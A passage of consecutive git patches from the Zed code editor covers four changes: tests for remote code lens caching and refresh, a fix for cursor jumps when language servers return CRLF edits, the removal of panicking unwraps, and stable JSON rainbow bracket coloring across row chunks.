+    let queried_lib_1 = vec![lsp::Uri::from_file_path(path!("/code/project1/src/lib.rs")).unwrap()];
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.code_lens_actions(buffer_1, cx)
+        })
+        .await
+        .unwrap();
+    assert_eq!(
+        *queried_uris.lock().unwrap(),
+        queried_lib_1,
+        "Expected the initial fetch to query the buffer's own language server only",
+    );
+
+    lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.code_lens_actions(buffer_1, cx)
+        })
+        .await
+        .unwrap();
+    assert_eq!(
+        *queried_uris.lock().unwrap(),
+        queried_lib_1,
+        "Expected a repeated fetch to be served from the cache, despite the other worktree's server \
+        never answering for this buffer",
+    );
+
+    let (buffer_1, _) = &buffers[0];
+    buffer_1.update(cx, |buffer, cx| buffer.set_language(None, cx));
+    cx.run_until_parked();
+    let actions = lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.code_lens_actions(buffer_1, cx)
+        })
+        .await
+        .unwrap()
+        .expect("Should have code lens actions cached");
+    assert_eq!(
+        actions
+            .values()
+            .map(|action| action.lsp_action.title().to_owned())
+            .collect::<Vec<_>>(),
+        vec!["the lens".to_string()],
+        "Expected the cached data to survive an empty relevant server set (buffer without a language)",
+    );
+    assert_eq!(
+        *queried_uris.lock().unwrap(),
+        queried_lib_1,
+        "Expected no new queries for the buffer without a language",
+    );
+}
+
+#[gpui::test]
+async fn test_remote_per_server_refresh_queries_only_the_refreshed_server(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.fake": "fn one() -> usize { 1 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: None,
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    // Both the client and the headless registries need the language and the adapters:
+    // the client filters relevant servers by adapter names, while the headless one
+    // detects the buffer's language and starts the servers.
+    let fake_language_config = || LanguageConfig {
+        name: "Fake".into(),
+        matcher: LanguageMatcher {
+            path_suffixes: vec!["fake".into()],
+            ..LanguageMatcher::default()
+        },
+        ..LanguageConfig::default()
+    };
+    let fake_adapter =
+        |server_name: &'static str, capabilities: &lsp::ServerCapabilities| FakeLspAdapter {
+            name: server_name,
+            capabilities: capabilities.clone(),
+            ..FakeLspAdapter::default()
+        };
+    cx.update_entity(&project, |project, _| {
+        project
+            .languages()
+            .register_test_language(fake_language_config());
+        for server_name in ["server-a", "server-b"] {
+            project
+                .languages()
+                .register_fake_lsp_adapter("Fake", fake_adapter(server_name, &capabilities));
+        }
+    });
+
+    let request_counter = |fake_lsp: &mut lsp::FakeLanguageServer, counter: &Arc<AtomicUsize>| {
+        let counter = counter.clone();
+        fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(move |_, _| {
+            counter.fetch_add(1, Ordering::Release);
+            async move { Ok(Some(Vec::new())) }
+        });
+    };
+    let lens_requests_a = Arc::new(AtomicUsize::new(0));
+    let lens_requests_b = Arc::new(AtomicUsize::new(0));
+    let (mut fake_lsp_servers_a, mut fake_lsp_servers_b) = server_cx.update(|cx| {
+        let languages = &headless.read(cx).languages;
+        languages.register_test_language(fake_language_config());
+        for server_name in ["server-a", "server-b"] {
+            languages.register_fake_lsp_adapter("Fake", fake_adapter(server_name, &capabilities));
+        }
+        let fake_lsp_servers_a = languages.register_fake_lsp_server(
+            LanguageServerName("server-a".into()),
+            capabilities.clone(),
+            Some(Box::new({
+                let lens_requests_a = lens_requests_a.clone();
+                move |fake_lsp| request_counter(fake_lsp, &lens_requests_a)
+            })),
+        );
+        let fake_lsp_servers_b = languages.register_fake_lsp_server(
+            LanguageServerName("server-b".into()),
+            capabilities.clone(),
+            Some(Box::new({
+                let lens_requests_b = lens_requests_b.clone();
+                move |fake_lsp| request_counter(fake_lsp, &lens_requests_b)
+            })),
+        );
+        (fake_lsp_servers_a, fake_lsp_servers_b)
+    });
+
+    cx.run_until_parked();
+
+    let worktree_id = project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(path!("/code/project1"), true, cx)
+        })
+        .await
+        .unwrap()
+        .0
+        .read_with(cx, |worktree, _| worktree.id());
+    cx.run_until_parked();
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.fake")), cx)
+        })
+        .await
+        .unwrap();
+    let fake_lsp_a = fake_lsp_servers_a.next().await.unwrap();
+    let _fake_lsp_b = fake_lsp_servers_b.next().await.unwrap();
+    cx.run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    assert_eq!(
+        (
+            lens_requests_a.load(Ordering::Acquire),
+            lens_requests_b.load(Ordering::Acquire),
+        ),
+        (1, 1),
+        "Expected the initial fetch to query both servers",
+    );
+
+    fake_lsp_a
+        .request::<lsp::request::CodeLensRefresh>((), DEFAULT_LSP_REQUEST_TIMEOUT)
+        .await
+        .into_response()
+        .unwrap();
+    cx.run_until_parked();
+
+    lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    assert_eq!(
+        (
+            lens_requests_a.load(Ordering::Acquire),
+            lens_requests_b.load(Ordering::Acquire),
+        ),
+        (2, 1),
+        "Expected the refetch after a per-server refresh to query the refreshed server only",
+    );
+}
+
 #[gpui::test]
 async fn test_remote_code_lens_resolve(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
     cx.update(|cx| {
diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index 4498920db759c3..39764a066ac863 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -5495,18 +5495,17 @@ pub mod tests {
                 "Newly opened editor should have the correct text with hints",
             );
         });
-        project.update(cx, |_, cx| {
-            cx.emit(project::Event::RefreshInlayHints {
-                server_id: fake_server.server.server_id(),
-                request_id: Some(1),
-            });
-        });
+        fake_server
+            .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+            .into_response()
+            .unwrap();
         cx.executor().advance_clock(Duration::from_secs(1));
         cx.executor().run_until_parked();
         assert_eq!(
             requests_count.load(atomic::Ordering::Acquire),
             5,
-            "After a simulated server refresh request, we should have sent another request",
+            "After a server refresh request, we should have sent another request",
         );
 
         perform_search(search_view, "let ", cx);

From d87dfaa4b33d5f686586fcb5dacdab3b30fef8f4 Mon Sep 17 00:00:00 2001
From: qrzychu <qrzychu@gmail.com>
Date: Thu, 23 Jul 2026 07:54:28 +0000
Subject: [PATCH 654/772] Fix cursor going to the end of file when LSP
 formatter uses CRLF line endings (#59151)

I got super annoyed when using Zed with F#, so I fixed it. This also
fixes other LSPs on Windows

Fix is super simple, the test fails if the fix is commented out

Closes #48367 (and probably others)


Release Notes:

- fix cursor jumping to the end of file when LSP formats the file using
CLRF line endings
---
 crates/project/src/lsp_store.rs               |   5 +-
 .../tests/integration/project_tests.rs        | 100 ++++++++++++++++++
 2 files changed, 104 insertions(+), 1 deletion(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index f61ddbf7ad51e6..15836796add4f0 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -3363,7 +3363,10 @@ impl LocalLspStore {
             let snapshot = snapshot?;
             let mut lsp_edits = lsp_edits
                 .into_iter()
-                .map(|edit| (range_from_lsp(edit.range), edit.new_text))
+                .map(|mut edit| {
+                    LineEnding::normalize(&mut edit.new_text);
+                    (range_from_lsp(edit.range), edit.new_text)
+                })
                 .collect::<Vec<_>>();
 
             lsp_edits.sort_unstable_by_key(|(range, _)| (range.start, range.end));
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 13051448ca361f..3ddc23990174ab 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -5006,6 +5006,106 @@ fn chunks_with_diagnostics<T: ToOffset + ToPoint>(
     chunks
 }
 
+#[gpui::test]
+async fn test_edits_from_lsp_with_crlf_line_endings(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let text = "
+        fn a() {}
+        fn b() {}
+        fn c() {}
+    "
+    .unindent();
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            "a.rs": text.clone(),
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/dir/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    // Simulate the language server sending us a whole-document edit that uses
+    // CRLF line endings. FsAutoComplete does this when formatting via Fantomas
+    // on Windows. The buffer's text is always LF-normalized, so the differing
+    // line endings must not be treated as changes; otherwise the entire buffer
+    // is replaced and cursor positions are lost.
+    let edits = lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.as_local_mut().unwrap().edits_from_lsp(
+                &buffer,
+                [lsp::TextEdit {
+                    range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(3, 0)),
+                    new_text: "fn a() {}\r\nfn b() {}\r\nfn c() {}\r\n".into(),
+                }],
+                LanguageServerId(0),
+                None,
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+    assert!(edits.is_empty(), "expected no edits, got {edits:?}");
+
+    // The same whole-document CRLF edit, but with an actual change on one
+    // line, must produce an edit for just that change.
+    let edits = lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.as_local_mut().unwrap().edits_from_lsp(
+                &buffer,
+                [lsp::TextEdit {
+                    range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(3, 0)),
+                    new_text: "fn a() {}\r\nfn b(x: u32) {}\r\nfn c() {}\r\n".into(),
+                }],
+                LanguageServerId(0),
+                None,
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+
+    buffer.update(cx, |buffer, cx| {
+        let edits = edits
+            .into_iter()
+            .map(|(range, text)| {
+                (
+                    range.start.to_point(buffer)..range.end.to_point(buffer),
+                    text,
+                )
+            })
+            .collect::<Vec<_>>();
+
+        assert_eq!(
+            edits,
+            [(Point::new(1, 5)..Point::new(1, 5), "x: u32".into())]
+        );
+
+        for (range, new_text) in edits {
+            buffer.edit([(range, new_text)], None, cx);
+        }
+        assert_eq!(
+            buffer.text(),
+            "
+                fn a() {}
+                fn b(x: u32) {}
+                fn c() {}
+            "
+            .unindent()
+        );
+    });
+}
+
 #[gpui::test(iterations = 10)]
 async fn test_definition(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From 4605a0f8dc09461747fee50b987da5e7dd1d76f5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Thu, 23 Jul 2026 07:54:43 +0000
Subject: [PATCH 655/772] Replace panicking unwraps in iterator and Option
 chains (#61277)

# Objective

Remove `.unwrap()` calls in iterator/`Option` chains that could panic at
runtime.

## Solution

Use `and_then`/`filter_map` with `.ok()` for fallible downcasts
(`entry_view_state.rs`) and keystroke parsing (`vim/command.rs`); use a
descriptive `expect` in `suggest_autoindents` where the invariant is
intentional (`buffer.rs`).

## Testing

- `cargo test -p language buffer` (69 passed)
- `cargo test -p vim command` (26 passed)
- `cargo test -p agent_ui entry_view` (3 passed)

## Self-Review Checklist:

- [x] I have reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/agent_ui/src/entry_view_state.rs | 4 ++--
 crates/language/src/buffer.rs           | 7 ++++++-
 crates/vim/src/command.rs               | 2 +-
 3 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index bdc79beacc9433..092450b0fb96ca 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -566,7 +566,7 @@ impl Entry {
         self.content_map()?
             .get(&diff.entity_id())
             .cloned()
-            .map(|entity| entity.downcast::<Editor>().unwrap())
+            .and_then(|entity| entity.downcast::<Editor>().ok())
     }
 
     pub fn terminal(
@@ -576,7 +576,7 @@ impl Entry {
         self.content_map()?
             .get(&terminal.entity_id())
             .cloned()
-            .map(|entity| entity.downcast::<TerminalView>().unwrap())
+            .and_then(|entity| entity.downcast::<TerminalView>().ok())
     }
 
     pub fn scroll_handle_for_assistant_message_chunk(
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index 00cf28568a5f0c..e568a5db4f52bb 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -3665,7 +3665,12 @@ impl BufferSnapshot {
         let indent_configs = matches
             .grammars()
             .iter()
-            .map(|grammar| grammar.indents_config.as_ref().unwrap())
+            .map(|grammar| {
+                grammar
+                    .indents_config
+                    .as_ref()
+                    .expect("grammar in indent match set has indents_config")
+            })
             .collect::<Vec<_>>();
 
         let mut indent_ranges = Vec::<Range<Point>>::new();
diff --git a/crates/vim/src/command.rs b/crates/vim/src/command.rs
index df6a911329be75..316128d9cb1c65 100644
--- a/crates/vim/src/command.rs
+++ b/crates/vim/src/command.rs
@@ -771,7 +771,7 @@ pub fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
         let keystrokes = action
             .command
             .chars()
-            .map(|c| Keystroke::parse(&c.to_string()).unwrap())
+            .filter_map(|c| Keystroke::parse(&c.to_string()).ok())
             .collect();
         vim.switch_mode(Mode::Normal, true, window, cx);
         if let Some(override_rows) = &action.override_rows {

From 7cdf2ae6b62c699670d6dcb04b9c7ffd06a35f1a Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Thu, 23 Jul 2026 08:41:26 +0000
Subject: [PATCH 656/772] language: Fix JSON rainbow bracket colors across
 chunks (#60741)

## Context

JSON rainbow bracket colors could shift across row chunk boundaries when
large ancestor objects were omitted by the bounded tree-sitter bracket
query window. This fixes the chunk-local depth reset by caching bracket
chunk data together with the active bracket stack after each chunk, then
using that inherited stack when later chunks are computed. For JSON
object braces that are too large for the bounded query, the
implementation recovers active ancestor `{...}` pairs from the syntax
tree so sibling object braces keep the same color even when jumping
directly to a later chunk.

Closes #50185

## How to Review

`crates/language/src/buffer/row_chunk.rs` adds indexed access to row
chunks so bracket cache computation can walk from the nearest cached
chunk up to the requested chunk.

`crates/language/src/buffer.rs` changes bracket range caching from
storing only per-chunk matches to storing per-chunk matches plus the
active bracket stack after that chunk. It preserves the existing bounded
query and greedy-match repair behavior, while adding JSON-specific
ancestor recovery for large object braces omitted by
`MAX_BYTES_TO_QUERY`.

`crates/language/src/buffer_tests.rs` adds a JSON regression fixture
that exceeds `MAX_BYTES_TO_QUERY`, fetches a later chunk before earlier
chunks, and verifies all same-depth sibling object braces keep the same
`color_index` across row chunks.

Video of manual test below :

[Screencast from 2026-07-10
08-09-30.webm](https://github.com/user-attachments/assets/fca6425b-b79c-4097-b4af-148db6aa23d9)


## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed JSON rainbow bracket colors changing across row chunk
boundaries.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 Cargo.lock                                |   1 +
 crates/editor/src/bracket_colorization.rs |   2 +-
 crates/language/Cargo.toml                |   5 +
 crates/language/src/buffer.rs             | 139 ++++++++++++++--------
 crates/language/src/buffer_tests.rs       |  72 ++++++++---
 crates/language/src/language.rs           | 130 +++-----------------
 6 files changed, 165 insertions(+), 184 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index c231723525f618..6b4c6950b3f34b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9706,6 +9706,7 @@ dependencies = [
  "fuzzy_nucleo",
  "globset",
  "gpui",
+ "grammars",
  "http_client",
  "imara-diff",
  "indoc",
diff --git a/crates/editor/src/bracket_colorization.rs b/crates/editor/src/bracket_colorization.rs
index 993fb8f8e6b672..a0ae9022b32b66 100644
--- a/crates/editor/src/bracket_colorization.rs
+++ b/crates/editor/src/bracket_colorization.rs
@@ -1981,7 +1981,7 @@ mod foo «1{
 
         assert_eq!(
             indoc! {r#"
-⋯1»
+⋯1»2»1»
 
 fn small_function«1()1» «1{
     let x = «2(1, «3(2, 3)3»)2»;
diff --git a/crates/language/Cargo.toml b/crates/language/Cargo.toml
index df493c393e7b48..69789da21ecb3f 100644
--- a/crates/language/Cargo.toml
+++ b/crates/language/Cargo.toml
@@ -16,11 +16,13 @@ doctest = false
 test-support = [
     "rand",
     "collections/test-support",
+    "grammars",
     "lsp/test-support",
     "text/test-support",
     "tree-sitter-rust",
     "tree-sitter-python",
     "tree-sitter-typescript",
+    "tree-sitter-json",
     "tree-sitter-md",
     "settings/test-support",
     "util/test-support",
@@ -64,6 +66,8 @@ text.workspace = true
 theme.workspace = true
 toml.workspace = true
 tracing.workspace = true
+grammars = { workspace = true, optional = true }
+tree-sitter-json = { workspace = true, optional = true }
 tree-sitter-md = { workspace = true, optional = true }
 tree-sitter-python = { workspace = true, optional = true }
 tree-sitter-rust = { workspace = true, optional = true }
@@ -79,6 +83,7 @@ diffy = "0.4.2"
 [dev-dependencies]
 collections = { workspace = true, features = ["test-support"] }
 ctor.workspace = true
+grammars.workspace = true
 gpui = { workspace = true, features = ["test-support"] }
 indoc.workspace = true
 lsp = { workspace = true, features = ["test-support"] }
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index e568a5db4f52bb..d63e588a364229 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -4847,75 +4847,112 @@ impl BufferSnapshot {
             let mut opens = Vec::new();
             let mut color_pairs = Vec::new();
 
-            let mut matches = self.syntax.matches_with_options(
+            let bounded_query = (
                 chunk_range.clone(),
-                &self.text,
                 TreeSitterOptions {
                     max_bytes_to_query: Some(MAX_BYTES_TO_QUERY),
                     max_start_depth: None,
                 },
-                |grammar| grammar.brackets_config.as_ref().map(|c| &c.query),
             );
-            let configs = matches
-                .grammars()
-                .iter()
-                .map(|grammar| grammar.brackets_config.as_ref().unwrap())
-                .collect::<Vec<_>>();
+            // The bounded query drops any pair spanning more than `MAX_BYTES_TO_QUERY`
+            // (tree-sitter's containing byte range requires full containment), which
+            // resets bracket depth at chunk boundaries. Every such pair encloses a
+            // chunk edge, so recover them with two point-sized unbounded queries that
+            // only traverse the syntax tree spine around each edge.
+            let boundary_queries = [chunk_range.start, chunk_range.end].map(|offset| {
+                (
+                    self.clip_offset(offset.saturating_sub(1), Bias::Left)
+                        ..self.clip_offset(offset.saturating_add(1), Bias::Right),
+                    TreeSitterOptions::default(),
+                )
+            });
 
+            let mut grammar_ids = Vec::new();
+            let mut configs = Vec::new();
+            let mut seen_delimiters = HashSet::default();
             // Group matches by open delimiter so we can either trust grammar output
             // or repair it by picking a single closest close per open.
             let mut close_delimiters_by_open = BTreeMap::new();
             let mut bogus_patterns = HashSet::default();
-            while let Some(mat) = matches.peek() {
-                let mut open = None;
-                let mut close = None;
-                let syntax_layer_depth = mat.depth;
-                let pattern_key = BracketPatternKey {
-                    grammar_index: mat.grammar_index,
-                    pattern_index: mat.pattern_index,
-                };
-                let config = configs[mat.grammar_index];
-                let pattern = &config.patterns[mat.pattern_index];
-                for capture in mat.captures {
-                    if capture.index == config.open_capture_ix {
-                        open = Some(capture.node.byte_range());
-                    } else if capture.index == config.close_capture_ix {
-                        close = Some(capture.node.byte_range());
+            for (query_range, options) in iter::once(bounded_query).chain(boundary_queries) {
+                let mut matches =
+                    self.syntax
+                        .matches_with_options(query_range, &self.text, options, |grammar| {
+                            grammar.brackets_config.as_ref().map(|c| &c.query)
+                        });
+                let grammar_indices = matches
+                    .grammars()
+                    .iter()
+                    .map(|grammar| {
+                        grammar_ids
+                            .iter()
+                            .position(|&id| id == grammar.id())
+                            .unwrap_or_else(|| {
+                                grammar_ids.push(grammar.id());
+                                configs.push(grammar.brackets_config.as_ref().unwrap());
+                                grammar_ids.len() - 1
+                            })
+                    })
+                    .collect::<Vec<_>>();
+
+                while let Some(mat) = matches.peek() {
+                    let mut open = None;
+                    let mut close = None;
+                    let syntax_layer_depth = mat.depth;
+                    let grammar_index = grammar_indices[mat.grammar_index];
+                    let pattern_key = BracketPatternKey {
+                        grammar_index,
+                        pattern_index: mat.pattern_index,
+                    };
+                    let config = configs[grammar_index];
+                    let pattern = &config.patterns[mat.pattern_index];
+                    for capture in mat.captures {
+                        if capture.index == config.open_capture_ix {
+                            open = Some(capture.node.byte_range());
+                        } else if capture.index == config.close_capture_ix {
+                            close = Some(capture.node.byte_range());
+                        }
                     }
-                }
 
-                matches.advance();
+                    matches.advance();
 
-                let Some((open_range, close_range)) = open.zip(close) else {
-                    continue;
-                };
+                    let Some((open_range, close_range)) = open.zip(close) else {
+                        continue;
+                    };
 
-                let bracket_range = open_range.start..=close_range.end;
-                if !bracket_range.overlaps(&chunk_range) {
-                    continue;
-                }
+                    let bracket_range = open_range.start..=close_range.end;
+                    if !bracket_range.overlaps(&chunk_range) {
+                        continue;
+                    }
 
-                let candidate = BracketMatchCandidate {
-                    bracket_match: BracketMatch {
-                        open_range,
-                        close_range,
-                        syntax_layer_depth,
-                        newline_only: pattern.newline_only,
-                        color_index: None,
-                    },
-                    pattern: pattern_key,
-                    rainbow_exclude: pattern.rainbow_exclude,
-                };
+                    let candidate = BracketMatchCandidate {
+                        bracket_match: BracketMatch {
+                            open_range,
+                            close_range,
+                            syntax_layer_depth,
+                            newline_only: pattern.newline_only,
+                            color_index: None,
+                        },
+                        pattern: pattern_key,
+                        rainbow_exclude: pattern.rainbow_exclude,
+                    };
 
-                let close_delimiters = close_delimiters_by_open
-                    .entry(candidate.open_delimiter())
-                    .or_insert_with(BTreeSet::new);
-                close_delimiters.insert(candidate.close_delimiter());
-                if close_delimiters.len() > 1 {
-                    bogus_patterns.insert(pattern_key);
-                }
+                    if !seen_delimiters
+                        .insert((candidate.open_delimiter(), candidate.close_delimiter()))
+                    {
+                        continue;
+                    }
+
+                    let close_delimiters = close_delimiters_by_open
+                        .entry(candidate.open_delimiter())
+                        .or_insert_with(BTreeSet::new);
+                    close_delimiters.insert(candidate.close_delimiter());
+                    if close_delimiters.len() > 1 {
+                        bogus_patterns.insert(pattern_key);
+                    }
 
-                all_brackets.push(candidate);
+                    all_brackets.push(candidate);
+                }
             }
 
             if !bogus_patterns.is_empty() {
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index 5c4bf46a11f7ed..2203bd30f7ac68 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -20,7 +20,7 @@ use std::{
     sync::LazyLock,
     time::{Duration, Instant},
 };
-use syntax_map::TreeSitterOptions;
+use syntax_map::{MAX_BYTES_TO_QUERY, TreeSitterOptions};
 use text::network::Network;
 use text::{BufferId, LineEnding};
 use text::{Point, ToPoint};
@@ -768,9 +768,7 @@ async fn test_resetting_language(cx: &mut gpui::TestAppContext) {
         "(source_file (expression_statement (block)))"
     );
 
-    buffer.update(cx, |buffer, cx| {
-        buffer.set_language(Some(Arc::new(json_lang())), cx)
-    });
+    buffer.update(cx, |buffer, cx| buffer.set_language(Some(json_lang()), cx));
     cx.executor().run_until_parked();
     assert_eq!(get_tree_sexp(&buffer, cx), "(document (object))");
 }
@@ -1419,6 +1417,51 @@ fn test_enclosing_bracket_ranges(cx: &mut App) {
     );
 }
 
+#[gpui::test]
+fn test_bracket_colorization_indices_remain_stable_across_row_chunks(cx: &mut App) {
+    let mut text = String::from("{\n  \"theme\": {\n");
+    let mut property_object_open_offsets = Vec::new();
+    for index in 0..500 {
+        text.push_str(&format!("    \"scope_{index:03}\": "));
+        property_object_open_offsets.push(text.len());
+        text.push_str("{\n      \"color\": \"#ffffff\"\n    },\n");
+    }
+    text.push_str("    \"last\": {}\n  }\n}\n");
+    assert!(
+        text.len() > MAX_BYTES_TO_QUERY,
+        "fixture should exceed the bounded tree-sitter query window"
+    );
+
+    let buffer = cx.new(|cx| Buffer::local(text.clone(), cx).with_language(json_lang(), cx));
+    let snapshot = buffer.update(cx, |buffer, _| buffer.snapshot());
+
+    let late_open_offset = property_object_open_offsets[400];
+    let late_matches = snapshot.fetch_bracket_ranges(late_open_offset..late_open_offset + 1, None);
+    let late_color_index = color_index_for_open(&late_matches, late_open_offset);
+
+    assert_eq!(
+        late_color_index,
+        Some(2),
+        "Jumping directly into a later row chunk should preserve enclosing JSON object depth"
+    );
+
+    let first_open_offset = property_object_open_offsets[0];
+    let all_matches = snapshot.fetch_bracket_ranges(0..snapshot.len(), None);
+    assert_eq!(
+        color_index_for_open(&all_matches, first_open_offset),
+        late_color_index,
+        "Sibling object braces should keep the same color across row chunks"
+    );
+
+    for open_offset in property_object_open_offsets {
+        assert_eq!(
+            color_index_for_open(&all_matches, open_offset),
+            late_color_index,
+            "All generated sibling object braces should share the same depth color"
+        );
+    }
+}
+
 #[gpui::test]
 fn test_enclosing_bracket_ranges_where_brackets_are_not_outermost_children(cx: &mut App) {
     let mut assert = |selection_text, bracket_pair_texts| {
@@ -4393,18 +4436,15 @@ fn erb_lang() -> Language {
     .unwrap()
 }
 
-fn json_lang() -> Language {
-    Language::new(
-        LanguageConfig {
-            name: "Json".into(),
-            matcher: LanguageMatcher {
-                path_suffixes: vec!["js".to_string()],
-                ..Default::default()
-            },
-            ..Default::default()
-        },
-        Some(tree_sitter_json::LANGUAGE.into()),
-    )
+fn color_index_for_open(
+    matches: &HashMap<Range<BufferRow>, Vec<BracketMatch<usize>>>,
+    open_offset: usize,
+) -> Option<usize> {
+    matches
+        .values()
+        .flatten()
+        .find(|bracket_match| bracket_match.open_range.start == open_offset)
+        .and_then(|bracket_match| bracket_match.color_index)
 }
 
 fn javascript_lang() -> Language {
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index e88e6a4d1effd5..08712de4415a7f 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -1596,130 +1596,28 @@ pub fn range_from_lsp(range: lsp::Range) -> Range<Unclipped<PointUtf16>> {
 #[doc(hidden)]
 #[cfg(any(test, feature = "test-support"))]
 pub fn rust_lang() -> Arc<Language> {
-    use std::borrow::Cow;
+    test_language("rust", tree_sitter_rust::LANGUAGE.into())
+}
 
-    let language = Language::new(
-        LanguageConfig {
-            name: "Rust".into(),
-            matcher: LanguageMatcher {
-                path_suffixes: vec!["rs".to_string()],
-                ..Default::default()
-            },
-            line_comments: vec!["// ".into(), "/// ".into(), "//! ".into()],
-            brackets: BracketPairConfig {
-                pairs: vec![
-                    BracketPair {
-                        start: "{".into(),
-                        end: "}".into(),
-                        close: true,
-                        surround: false,
-                        newline: true,
-                    },
-                    BracketPair {
-                        start: "[".into(),
-                        end: "]".into(),
-                        close: true,
-                        surround: false,
-                        newline: true,
-                    },
-                    BracketPair {
-                        start: "(".into(),
-                        end: ")".into(),
-                        close: true,
-                        surround: false,
-                        newline: true,
-                    },
-                    BracketPair {
-                        start: "<".into(),
-                        end: ">".into(),
-                        close: false,
-                        surround: false,
-                        newline: true,
-                    },
-                    BracketPair {
-                        start: "\"".into(),
-                        end: "\"".into(),
-                        close: true,
-                        surround: false,
-                        newline: false,
-                    },
-                ],
-                ..Default::default()
-            },
-            ..Default::default()
-        },
-        Some(tree_sitter_rust::LANGUAGE.into()),
-    )
-    .with_queries(LanguageQueries {
-        outline: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/outline.scm"
-        ))),
-        indents: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/indents.scm"
-        ))),
-        brackets: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/brackets.scm"
-        ))),
-        text_objects: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/textobjects.scm"
-        ))),
-        highlights: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/highlights.scm"
-        ))),
-        injections: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/injections.scm"
-        ))),
-        overrides: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/overrides.scm"
-        ))),
-        redactions: None,
-        runnables: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/runnables.scm"
-        ))),
-        debugger: Some(Cow::from(include_str!(
-            "../../grammars/src/rust/debugger.scm"
-        ))),
-    })
-    .expect("Could not parse queries");
-    Arc::new(language)
+#[doc(hidden)]
+#[cfg(any(test, feature = "test-support"))]
+pub fn json_lang() -> Arc<Language> {
+    test_language("json", tree_sitter_json::LANGUAGE.into())
 }
 
 #[doc(hidden)]
 #[cfg(any(test, feature = "test-support"))]
 pub fn markdown_lang() -> Arc<Language> {
-    use std::borrow::Cow;
+    test_language("markdown", tree_sitter_md::LANGUAGE.into())
+}
 
-    let language = Language::new(
-        LanguageConfig {
-            name: "Markdown".into(),
